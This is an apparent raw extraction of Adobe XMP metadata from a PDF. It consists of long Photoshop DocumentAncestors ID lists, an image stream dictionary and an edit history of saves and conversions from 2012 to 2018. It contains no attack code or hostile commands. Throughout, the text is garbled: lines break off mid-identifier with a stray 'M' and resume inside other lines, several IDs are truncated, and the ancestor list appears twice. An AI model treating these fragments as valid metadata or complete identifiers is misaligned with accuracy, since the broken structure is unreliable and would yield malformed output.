     <rdf:li>adobe:docid:photoshop:34e94c4f-1db8-117a-be8f-fdd5de8ed172</rdf:li>
     <rdf:li>adobe:docid:photoshop:3e98092c-1589-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:3ee8609c-ee90-f14c-8ab3-6d53ba36a6a0</rdf:li>
     <rdf:li>adobe:docidM
:photoshop:430ec9c6-79db-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:458ec56c-f05b-11e5-8134-d374b6cca590</rdf:li>
     <rdf:li>adobe:docid:photoshop:465325f4-1435-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:4b38b7ea-0d81-11e6-a790-ab313397c041</rdf:li>
     <rdf:li>adobe:docid:photoshop:4cae8a47-76e4-11e6-a246-fbbefe6142be</rdf:li>
     <rdf:li>adobe:docid:photoshop:511f8dc2-904c-117a-bace-f68dae9a25d5</rdf:li>
     <rdf:li>adobe:docid:photoshop:53282af2-78f1-11e6-bb44M
-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:534c7a3f-13ef-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:598506cf-1454-1178-9aef-91c5828ca154</rdf:li>
     <rdf:li>adobe:docid:photoshop:5ba62965-79db-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:5dee3b7c-1588-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:5eb28879-1e45-117a-be8f-fdd5de8ed172</rdf:li>
     <rdf:li>adobe:docid:photoshop:60068c96-8418-1179-95d1-fb93057029c3</rdf:li>
i>adobe:docid:photoshop:696ac39c-1495-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:6ae28e44-1494-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:7197be1d-634f-11e6-86e6-c5734a339616</rdf:li>
     <rdf:li>adobe:docid:photoshop:745d7726-243a-117a-b57f-988007e5ff72</rdf:li>
     <rdf:li>adobe:docid:photoshop:7e6c7a42-7a99-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:7efb2a7c-1589-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:7ff0e896-1M
434-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:80c57c1b-5e40-11e6-bcda-a54d3d67eef1</rdf:li>
     <rdf:li>adobe:docid:photoshop:858ab234-ec72-11e5-a8ca-efa88af7eb8f</rdf:li>
     <rdf:li>adobe:docid:photoshop:85dde473-27cf-7b4f-a6e5-e1d7f58a5814</rdf:li>
     <rdf:li>adobe:docid:photoshop:8aceeddf-d43f-11e6-a6c6-88600a4f7d84</rdf:li>
     <rdf:li>adobe:docid:photoshop:8e8bc2a5-31ca-6d49-aa0a-6bc9848fc382</rdf:li>
     <rdf:li>adobe:docid:photoshop:8f0bf4db-7a12-11e6-bb44-e35d217881a2</rdf:liM
     <rdf:li>adobe:docid:photoshop:9358e98e-1972-1178-85a6-887f6d913a66</rdf:li>
     <rdf:li>adobe:docid:photoshop:97b6bb21-e593-11e5-95a7-870e9a188652</rdf:li>
     <rdf:li>adobe:docid:photoshop:9a5abd49-90be-117a-bace-f68dae9a25d5</rdf:li>
     <rdf:li>adobe:docid:photoshop:9f1fa618-7544-11e6-84a2-b801ee9ad17c</rdf:li>
     <rdf:li>adobe:docid:photoshop:a3dd233f-9012-117a-b0e8-e7c7471bd025</rdf:li>
     <rdf:li>adobe:docid:photoshop:aa21b61d-fdc1-11e5-aad4-e4d651a551fa</rdf:li>
     <rdf:li>adobe:docid:photoshM
op:aa75f4b2-186f-1178-bfa8-d846b8df7175</rdf:li>
     <rdf:li>adobe:docid:photoshop:aac9e0c6-7e08-117a-865e-cde42b56f534</rdf:li>
     <rdf:li>adobe:docid:photoshop:abc788c9-90b2-117a-bace-f68dae9a25d5</rdf:li>
     <rdf:li>adobe:docid:photoshop:ac0ec88f-3191-1179-9b0a-84471e40f897</rdf:li>
     <rdf:li>adobe:docid:photoshop:af31c5b6-7a13-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:b217f07f-5e40-11e6-bcda-a54d3d67eef1</rdf:li>
     <rdf:li>adobe:docid:photoshop:b3c21360-8ff0-1179-94c5-f762bbbM
     <rdf:li>adobe:docid:photoshop:b3fa43a6-8013-11e6-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:b58409db-190e-1178-a3a3-840030d0eca2</rdf:li>
     <rdf:li>adobe:docid:photoshop:b793aa0b-ed6c-11e5-a459-f2bc2d1e9758</rdf:li>
     <rdf:li>adobe:docid:photoshop:b7e7a8d0-144a-1178-9aef-91c5828ca154</rdf:li>
     <rdf:li>adobe:docid:photoshop:b9e6ca3a-7e2a-117a-865e-cde42b56f534</rdf:li>
     <rdf:li>adobe:docid:photoshop:ba8b1a51-7a3c-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:M
docid:photoshop:bd019e0e-d440-11e6-a6c6-88600a4f7d84</rdf:li>
     <rdf:li>adobe:docid:photoshop:bdf23ef8-4ec4-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:bf86a3a3-1405-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:c14a6015-3b30-117a-b164-f7c7216a96c3</rdf:li>
     <rdf:li>adobe:docid:photoshop:c2e4cf9c-4dfa-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:c5a1f5d5-064b-2144-a47b-49c43ab35229</rdf:li>
     <rdf:li>adobe:docid:photoshop:c7438721-8013-11e6M
-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:cc1039a7-79ce-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:cdfa35dc-1431-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:d0dd31a7-1415-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:d6b95245-7e18-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:d7c6744a-8013-11e6-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:decc4f3b-1e83-117a-be8f-fdd5de8ed172</rdf:li>
rdf:li>adobe:docid:photoshop:e0f459de-0d7c-11e6-a790-ab313397c041</rdf:li>
     <rdf:li>adobe:docid:photoshop:e66ec657-b50f-8944-b80e-69f1cefa89a8</rdf:li>
     <rdf:li>adobe:docid:photoshop:e864d911-8013-11e6-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:e8e20641-337c-117a-bee0-d086e8cd2729</rdf:li>
     <rdf:li>adobe:docid:photoshop:eb19f1ad-13ef-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:ec4cdd5e-7a95-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:ed563M
e80-4e9b-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:edd9a543-7e0f-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:ee4c9845-599e-11e6-8afe-a3c438ecac9d</rdf:li>
     <rdf:li>adobe:docid:photoshop:ee69d49f-0024-11e6-8c2f-b087d702c36e</rdf:li>
     <rdf:li>adobe:docid:photoshop:eea73e0f-7e11-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:f04af9fb-d444-11e6-a6c6-88600a4f7d84</rdf:li>
     <rdf:li>adobe:docid:photoshop:f55de4ad-1432-117a-a648-e748c32885c2</rM
     <rdf:li>adobe:docid:photoshop:f56863e4-5a27-d343-a2a3-00f84bb3374d</rdf:li>
     <rdf:li>adobe:docid:photoshop:f86c6936-4e94-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:f8c8088e-f03b-11e5-8134-d374b6cca590</rdf:li>
     <rdf:li>uuid:28ce3d11-e446-4e74-b504-68b6bd547bf1</rdf:li>
     <rdf:li>uuid:35E394C1215BDD118BD5AF32048ED772</rdf:li>
     <rdf:li>uuid:4360103d-b667-4864-ad4b-efab57ecfd05</rdf:li>
     <rdf:li>uuid:5C69602CA5B0DD118C33DD90C3BAA1BA</rdf:li>
     <rdf:li>uuid:7735M
495D69EB11DFA0CE945DB889DFA7</rdf:li>
     <rdf:li>uuid:8D4476583150DE119A18E6960CA3AFBD</rdf:li>
     <rdf:li>uuid:94570D3ECE97DE119227821D63F29C99</rdf:li>
     <rdf:li>uuid:9B0E6C1FE2F4DA11815BE009F33CC46F</rdf:li>
     <rdf:li>uuid:EF8E058ADBB511DCBFAEBA908EE3C948</rdf:li>
     <rdf:li>uuid:ad5671f3-4b51-4492-8ded-c9b503dfa83d</rdf:li>
     <rdf:li>uuid:b2040c03-13d9-46be-805a-49393f795d43</rdf:li>
     <rdf:li>xmp.did:01084b69-84f3-49a1-927f-367af15396b3</rdf:li>
     <rdf:li>xmp.did:0180117407206811871FBE8572M
     <rdf:li>xmp.did:01801174072068118DBBE066DC6FBE84</rdf:li>
     <rdf:li>xmp.did:02801174072068118083D7AD7859F6D2</rdf:li>
     <rdf:li>xmp.did:0380117407206811822ACA20C111A7C8</rdf:li>
     <rdf:li>xmp.did:0380117407206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:03d2b8bf-0c7f-1440-a16c-dc3f3fafbb4c</rdf:li>
     <rdf:li>xmp.did:05801174072068118083A5C130DEFB9E</rdf:li>
     <rdf:li>xmp.did:0580117407206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:0680117407206811994CF98C664213F1</rdf:M
     <rdf:li>xmp.did:07801174072068118C14BCDE88F8DB81</rdf:li>
     <rdf:li>xmp.did:08801174072068118C14C5D41485056E</rdf:li>
     <rdf:li>xmp.did:088011740720681197A5B926F9A3262B</rdf:li>
     <rdf:li>xmp.did:09801174072068118083D7AD7859F6D2</rdf:li>
     <rdf:li>xmp.did:0A8011740720681183D1FE24C578B30B</rdf:li>
     <rdf:li>xmp.did:0A801174072068118C14AC6C23AA9A29</rdf:li>
     <rdf:li>xmp.did:1371AFE7A926E311A29FDD87296B9FC2</rdf:li>
     <rdf:li>xmp.did:14E6BD0C57ADE01182289E87FDE00471</rdf:li>
>xmp.did:171D8CFAF820E61185B1A0ED451D2520</rdf:li>
     <rdf:li>xmp.did:17498E793C2068118083A5C130DEFB9E</rdf:li>
     <rdf:li>xmp.did:18477E972021681194579B9D89B17B72</rdf:li>
     <rdf:li>xmp.did:1ad00be7-767d-1b42-9936-c76b0d4bf898</rdf:li>
     <rdf:li>xmp.did:230C9D251C216811822AA93596ABFA29</rdf:li>
     <rdf:li>xmp.did:23B3C6EC28236811822A93E5494BD29C</rdf:li>
     <rdf:li>xmp.did:260A05805F74E11195F984841F8100A5</rdf:li>
     <rdf:li>xmp.did:270A05805F74E11195F984841F8100A5</rdf:li>
     <rdf:li>xmp.did:27bM
4ebca-9595-4d29-84c2-ef1ab9805a49</rdf:li>
     <rdf:li>xmp.did:2D5508FE2323681188C6CBB3567F64D3</rdf:li>
     <rdf:li>xmp.did:2b85d5fc-c967-4a79-a30a-088fda2ae206</rdf:li>
     <rdf:li>xmp.did:37ebc5b3-2dce-497c-aebf-fa5090ff2baa</rdf:li>
     <rdf:li>xmp.did:383037C1C3206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:3A3037C1C3206811871FBE85724EB2B4</rdf:li>
     <rdf:li>xmp.did:3C9B17A8AF4EE111AA63ACBDD224850B</rdf:li>
     <rdf:li>xmp.did:3a7a1ed1-d820-42f2-924a-3f00cc204f0a</rdf:li>
     <rdf:li>xmp.did:3deM
42d85-5a1c-4265-943e-29be7ba76af2</rdf:li>
     <rdf:li>xmp.did:4014f039-5df4-de40-b27f-efb2882feb31</rdf:li>
     <rdf:li>xmp.did:48fb8ba7-3b8a-044f-a244-a3c1b4b56fe4</rdf:li>
     <rdf:li>xmp.did:4D07BB8972216811994CD96C32D67D6A</rdf:li>
     <rdf:li>xmp.did:54056386-b35b-7d49-b99d-24b3a47b2d87</rdf:li>
     <rdf:li>xmp.did:58C0A93330206811822AB9A1E8784973</rdf:li>
     <rdf:li>xmp.did:5D5A12800F206811A96198B5F7DB75E3</rdf:li>
     <rdf:li>xmp.did:62de2bcb-615a-7544-8f37-019bf43ea97e</rdf:li>
     <rdf:li>xmp.didM
:652671c3-3996-4491-8490-eaa09cc293c1</rdf:li>
     <rdf:li>xmp.did:6BB4A6E8B62068118083D7AD7859F6D2</rdf:li>
     <rdf:li>xmp.did:6FC5D488DC2068118083D6782AA7D6E9</rdf:li>
     <rdf:li>xmp.did:7069A24829206811AFFDF1BBBCAB7A77</rdf:li>
     <rdf:li>xmp.did:75c39aa9-e7f4-4f64-b921-ef5b184a319c</rdf:li>
     <rdf:li>xmp.did:8360e080-603d-2d4c-ab36-ec6dac89c539</rdf:li>
     <rdf:li>xmp.did:881574AD6F21681194579B9D89B17B72</rdf:li>
     <rdf:li>xmp.did:89E3DF341D6DE1118002EA4D08B0CC53</rdf:li>
     <rdf:li>xmp.did:95fM
a4c3c-abc2-4699-b584-285390d3165e</rdf:li>
     <rdf:li>xmp.did:979d4241-bedb-4537-bc3b-127dcdac838c</rdf:li>
     <rdf:li>xmp.did:9AC4463499206811994CE50C75C2EC52</rdf:li>
     <rdf:li>xmp.did:9CBDF773D250E111B5F7AB09216DFFD3</rdf:li>
     <rdf:li>xmp.did:AC6D0B36F37CE21193E79AD6EBE52ECC</rdf:li>
     <rdf:li>xmp.did:B970D19677226811822A93E5494BD29C</rdf:li>
     <rdf:li>xmp.did:B9B5631B182068118C14FDDA38272A46</rdf:li>
     <rdf:li>xmp.did:BE24487DF22068118083DEA52C504518</rdf:li>
     <rdf:li>xmp.did:CCFA3D18352M
068118083D6782AA7D6E9</rdf:li>
     <rdf:li>xmp.did:D1DEE82B1620E111A58EFEA7038DD527</rdf:li>
     <rdf:li>xmp.did:D8C4FDA5B7206811822AB9A1E8784973</rdf:li>
     <rdf:li>xmp.did:DCE14A8C7E206811822AB9A1E8784973</rdf:li>
     <rdf:li>xmp.did:E1C6DA8F8320681188C682B364FA5400</rdf:li>
     <rdf:li>xmp.did:EAD45601462068119109881C0C4CCA31</rdf:li>
     <rdf:li>xmp.did:F4ACBA93EF20681194579B9D89B17B72</rdf:li>
     <rdf:li>xmp.did:F682BD22A1206811822ACA20C111A7C8</rdf:li>
     <rdf:li>xmp.did:F77F1174072068118083C50FBBCM
     <rdf:li>xmp.did:F77F117407206811920CD95510C3895A</rdf:li>
     <rdf:li>xmp.did:F97F1174072068118083C50FBBC530F3</rdf:li>
     <rdf:li>xmp.did:F97F11740720681183D1CDA6483B5EAE</rdf:li>
     <rdf:li>xmp.did:FB7F1174072068118083C50FBBC530F3</rdf:li>
     <rdf:li>xmp.did:FB7F11740720681192B094E1E5016938</rdf:li>
     <rdf:li>xmp.did:FC6A2D990821681183D1C1099BA7BF4E</rdf:li>
     <rdf:li>xmp.did:FE7F117407206811920CD95510C3895A</rdf:li>
     <rdf:li>xmp.did:ad8b8db0-de38-8e45-a929-ee774380af5b</rdf:lM
     <rdf:li>xmp.did:ecb09f95-65ac-584e-be77-26db4767f095</rdf:li>
     <rdf:li>xmp.did:ecfe0885-0f27-4819-a514-9938dd6774ae</rdf:li>
   </photoshop:DocumentAncestors>
  </rdf:Description>
<</BitsPerComponent 8/ColorSpace 18 0 R/Decode[0.0 255.0]/Filter/FlateDecode/Height 77/Intent/RelativeColorimetric/Length 1543/Metadata 52 0 R/Name/X/Subtype/Image/Type/XObject/Width 77>>stream
<</Length 17493/Subtype/XML/Type/Metadata>>stream
pmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:photoshop="http://ns.adobe.com/M
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:exifEX="http://cipa.jp/exif/1.0/"
   xmp:ModifyDate="2018-06-20T08:09:36-04:00"
   xmp:CreatorTool="Adobe Photoshop CC 2018 (Macintosh)"
   xmp:CreateDate="2005-12-07T10:29:59"
   xmp:MetadataDate="2018-06-20T08:09:36-04:00"
   xmpMM:DocumentID="adobe:docid:photoshop:dd5f0e64-715b-e040-aea7-bee7ad7c8509"
   xmpMM:InstanceID="xmp.iid:c829edc4-035c-40e2-a201-2eccd5ab033b"
   xmpMM:OriginalDocumentID="uuid:AD5D526415DE11DC8C55DCA48C543M
   dc:format="image/jpeg"
   photoshop:ColorMode="4"
   photoshop:ICCProfile="U.S. Web Coated (SWOP) v2"
   photoshop:DateCreated="2005-12-07T10:29:59"
   xmpRights:Marked="False"
   exifEX:PhotographicSensitivity="50">
   <xmpMM:DerivedFrom
    stRef:instanceID="xmp.iid:c77da0a9-2518-4712-a995-09502d9888a8"
    stRef:documentID="adobe:docid:photoshop:35474797-39a9-1f48-b438-5c52062237e4"
    stRef:originalDocumentID="uuid:AD5D526415DE11DC8C55DCA48C543919"/>
stEvt:action="saved"
      stEvt:instanceID="xmp.iid:16B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:41-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from image/tiff to application/vnd.adobe.photoshop"/>
      stEvt:action="derived"
      stEvt:parameters="converted from image/tiff to application/vnd.adobe.photoshop"/>
      stEvt:action="saved"
instanceID="xmp.iid:17B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:41-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:18B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:56-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from application/vnd.adobe.photoshM
      stEvt:action="derived"
      stEvt:parameters="converted from application/vnd.adobe.photoshop to image/tiff"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:19B27FB6212068118DBBAE0FE23BD944"
      stEvt:when="2012-04-30T13:05:56-04:00"
      stEvt:softwareAgent="Adobe Photoshop CS5 Macintosh"
      stEvt:changed="/"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:c77da0a9-2518-4712-a995-09502d9888a8"
      stEvt:when="2018-06M
      stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from image/tiff to image/jpeg"/>
      stEvt:action="derived"
      stEvt:parameters="converted from image/tiff to image/jpeg"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:c829edc4-035c-40e2-a201-2eccd5ab033b"
      stEvt:when="2018-06-20T08:09:36-04:00"
      stEvt:softwareAgent="Adobe Photoshop CCM
      stEvt:changed="/"/>
   <photoshop:DocumentAncestors>
     <rdf:li>adobe:docid:photoshop:00f7eb43-7e42-117a-865e-cde42b56f534</rdf:li>
     <rdf:li>adobe:docid:photoshop:0205bac1-285b-117a-8048-cd333b6609d6</rdf:li>
     <rdf:li>adobe:docid:photoshop:0359ef07-2a33-117a-b0b2-a4bb0a5ed692</rdf:li>
     <rdf:li>adobe:docid:photoshop:040276ef-1967-1178-85a6-887f6d913a66</rdf:li>
     <rdf:li>adobe:docid:photoshop:06d16918-1a00-1178-82b9-d46b6dd036M
     <rdf:li>adobe:docid:photoshop:09681107-27fe-117a-8048-cd333b6609d6</rdf:li>
     <rdf:li>adobe:docid:photoshop:0b091329-7e0f-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:0b9761b8-2bda-374a-be6c-19aa1d4ed957</rdf:li>
     <rdf:li>adobe:docid:photoshop:0f9a2bd9-9b30-5c44-940d-2e3b25dccfbc</rdf:li>
     <rdf:li>adobe:docid:photoshop:13712ca0-0c40-11e8-bfc7-fe516ffc5eaa</rdf:li>
     <rdf:li>adobe:docid:photoshop:147260d6-19e1-1178-82b9-d46b6dd03660</rdf:li>
     <rdf:li>adobe:docM
id:photoshop:14b8a6ae-d844-1179-a70d-a9c2931c7bb6</rdf:li>
     <rdf:li>adobe:docid:photoshop:1509e69e-75fe-11e6-8e71-ccca60a3940a</rdf:li>
     <rdf:li>adobe:docid:photoshop:179c006e-190e-1178-a3a3-840030d0eca2</rdf:li>
     <rdf:li>adobe:docid:photoshop:1af6b8f2-17a6-1178-a555-c5050d7505b6</rdf:li>
     <rdf:li>adobe:docid:photoshop:1f670d8a-27ff-117a-9788-9c2db91f2698</rdf:li>
     <rdf:li>adobe:docid:photoshop:2271ebae-3284-4942-97ba-87d38039351a</rdf:li>
     <rdf:li>adobe:docid:photoshop:2427513c-23a7-117a-a1M
5a-f472fc08574b</rdf:li>
     <rdf:li>adobe:docid:photoshop:289d9241-483e-11e6-9245-a13bfdc9b13e</rdf:li>
     <rdf:li>adobe:docid:photoshop:28e1a34d-78fa-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:2aa9204a-139b-1178-bd43-babcb6f4b73f</rdf:li>
     <rdf:li>adobe:docid:photoshop:31cfcdc5-f85a-11e5-a815-85c176b77930</rdf:li>
     <rdf:li>adobe:docid:photoshop:34e94c4f-1db8-117a-be8f-fdd5de8ed172</rdf:li>
     <rdf:li>adobe:docid:photoshop:3e98092c-1589-117a-a648-e748c32885c2</rdf:li>
:li>adobe:docid:photoshop:3ee8609c-ee90-f14c-8ab3-6d53ba36a6a0</rdf:li>
     <rdf:li>adobe:docid:photoshop:430ec9c6-79db-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:458ec56c-f05b-11e5-8134-d374b6cca590</rdf:li>
     <rdf:li>adobe:docid:photoshop:465325f4-1435-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:4b38b7ea-0d81-11e6-a790-ab313397c041</rdf:li>
     <rdf:li>adobe:docid:photoshop:4cae8a47-76e4-11e6-a246-fbbefe6142be</rdf:li>
     <rdf:li>adobe:docid:photoshop:511f8dc2M
-904c-117a-bace-f68dae9a25d5</rdf:li>
     <rdf:li>adobe:docid:photoshop:53282af2-78f1-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:534c7a3f-13ef-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:598506cf-1454-1178-9aef-91c5828ca154</rdf:li>
     <rdf:li>adobe:docid:photoshop:5ba62965-79db-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:5dee3b7c-1588-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:5eb28879-1e45-117a-be8f-fdd5de8ed172</rdf:M
     <rdf:li>adobe:docid:photoshop:60068c96-8418-1179-95d1-fb93057029c3</rdf:li>
     <rdf:li>adobe:docid:photoshop:696ac39c-1495-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:6ae28e44-1494-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:7197be1d-634f-11e6-86e6-c5734a339616</rdf:li>
     <rdf:li>adobe:docid:photoshop:745d7726-243a-117a-b57f-988007e5ff72</rdf:li>
     <rdf:li>adobe:docid:photoshop:7e6c7a42-7a99-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoM
shop:7efb2a7c-1589-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:7ff0e896-1434-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:80c57c1b-5e40-11e6-bcda-a54d3d67eef1</rdf:li>
     <rdf:li>adobe:docid:photoshop:858ab234-ec72-11e5-a8ca-efa88af7eb8f</rdf:li>
     <rdf:li>adobe:docid:photoshop:85dde473-27cf-7b4f-a6e5-e1d7f58a5814</rdf:li>
     <rdf:li>adobe:docid:photoshop:8aceeddf-d43f-11e6-a6c6-88600a4f7d84</rdf:li>
     <rdf:li>adobe:docid:photoshop:8e8bc2a5-31ca-6d49-aa0a-6bc98M
     <rdf:li>adobe:docid:photoshop:8f0bf4db-7a12-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:9358e98e-1972-1178-85a6-887f6d913a66</rdf:li>
     <rdf:li>adobe:docid:photoshop:97b6bb21-e593-11e5-95a7-870e9a188652</rdf:li>
     <rdf:li>adobe:docid:photoshop:9a5abd49-90be-117a-bace-f68dae9a25d5</rdf:li>
     <rdf:li>adobe:docid:photoshop:9f1fa618-7544-11e6-84a2-b801ee9ad17c</rdf:li>
     <rdf:li>adobe:docid:photoshop:a3dd233f-9012-117a-b0e8-e7c7471bd025</rdf:li>
e:docid:photoshop:aa21b61d-fdc1-11e5-aad4-e4d651a551fa</rdf:li>
     <rdf:li>adobe:docid:photoshop:aa75f4b2-186f-1178-bfa8-d846b8df7175</rdf:li>
     <rdf:li>adobe:docid:photoshop:aac9e0c6-7e08-117a-865e-cde42b56f534</rdf:li>
     <rdf:li>adobe:docid:photoshop:abc788c9-90b2-117a-bace-f68dae9a25d5</rdf:li>
     <rdf:li>adobe:docid:photoshop:ac0ec88f-3191-1179-9b0a-84471e40f897</rdf:li>
     <rdf:li>adobe:docid:photoshop:af31c5b6-7a13-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:b217f07f-5e40-11M
e6-bcda-a54d3d67eef1</rdf:li>
     <rdf:li>adobe:docid:photoshop:b3c21360-8ff0-1179-94c5-f762bbb4effd</rdf:li>
     <rdf:li>adobe:docid:photoshop:b3fa43a6-8013-11e6-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:b58409db-190e-1178-a3a3-840030d0eca2</rdf:li>
     <rdf:li>adobe:docid:photoshop:b793aa0b-ed6c-11e5-a459-f2bc2d1e9758</rdf:li>
     <rdf:li>adobe:docid:photoshop:b7e7a8d0-144a-1178-9aef-91c5828ca154</rdf:li>
     <rdf:li>adobe:docid:photoshop:b9e6ca3a-7e2a-117a-865e-cde42b56f534</rdf:li>
 <rdf:li>adobe:docid:photoshop:ba8b1a51-7a3c-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:bd019e0e-d440-11e6-a6c6-88600a4f7d84</rdf:li>
     <rdf:li>adobe:docid:photoshop:bdf23ef8-4ec4-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:bf86a3a3-1405-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:c14a6015-3b30-117a-b164-f7c7216a96c3</rdf:li>
     <rdf:li>adobe:docid:photoshop:c2e4cf9c-4dfa-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:c5aM
1f5d5-064b-2144-a47b-49c43ab35229</rdf:li>
     <rdf:li>adobe:docid:photoshop:c7438721-8013-11e6-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:cc1039a7-79ce-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:cdfa35dc-1431-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:d0dd31a7-1415-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:photoshop:d6b95245-7e18-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:d7c6744a-8013-11e6-93bb-aaf4580ad4d3<M
     <rdf:li>adobe:docid:photoshop:decc4f3b-1e83-117a-be8f-fdd5de8ed172</rdf:li>
     <rdf:li>adobe:docid:photoshop:e0f459de-0d7c-11e6-a790-ab313397c041</rdf:li>
     <rdf:li>adobe:docid:photoshop:e66ec657-b50f-8944-b80e-69f1cefa89a8</rdf:li>
     <rdf:li>adobe:docid:photoshop:e864d911-8013-11e6-93bb-aaf4580ad4d3</rdf:li>
     <rdf:li>adobe:docid:photoshop:e8e20641-337c-117a-bee0-d086e8cd2729</rdf:li>
     <rdf:li>adobe:docid:photoshop:eb19f1ad-13ef-117a-a648-e748c32885c2</rdf:li>
     <rdf:li>adobe:docid:M
photoshop:ec4cdd5e-7a95-11e6-bb44-e35d217881a2</rdf:li>
     <rdf:li>adobe:docid:photoshop:ed563e80-4e9b-11e6-b20a-c6d350ff4709</rdf:li>
     <rdf:li>adobe:docid:photoshop:edd9a543-7e0f-117a-b461-d68a70f37929</rdf:li>
     <rdf:li>adobe:docid:photoshop:ee4c9845-599e-11e6-8afe-a3c438ecac9d</rdf:li>
     <rdf:li>adobe:docid:photoshop:ee69d49f-0024-11e6-8c2f-b087d702c36e</rdf:li>
     <rdf:li>adobe:docid:photoshop:eea73e0f-7e11-117a-b461-d68a70f37929</rdf:li>
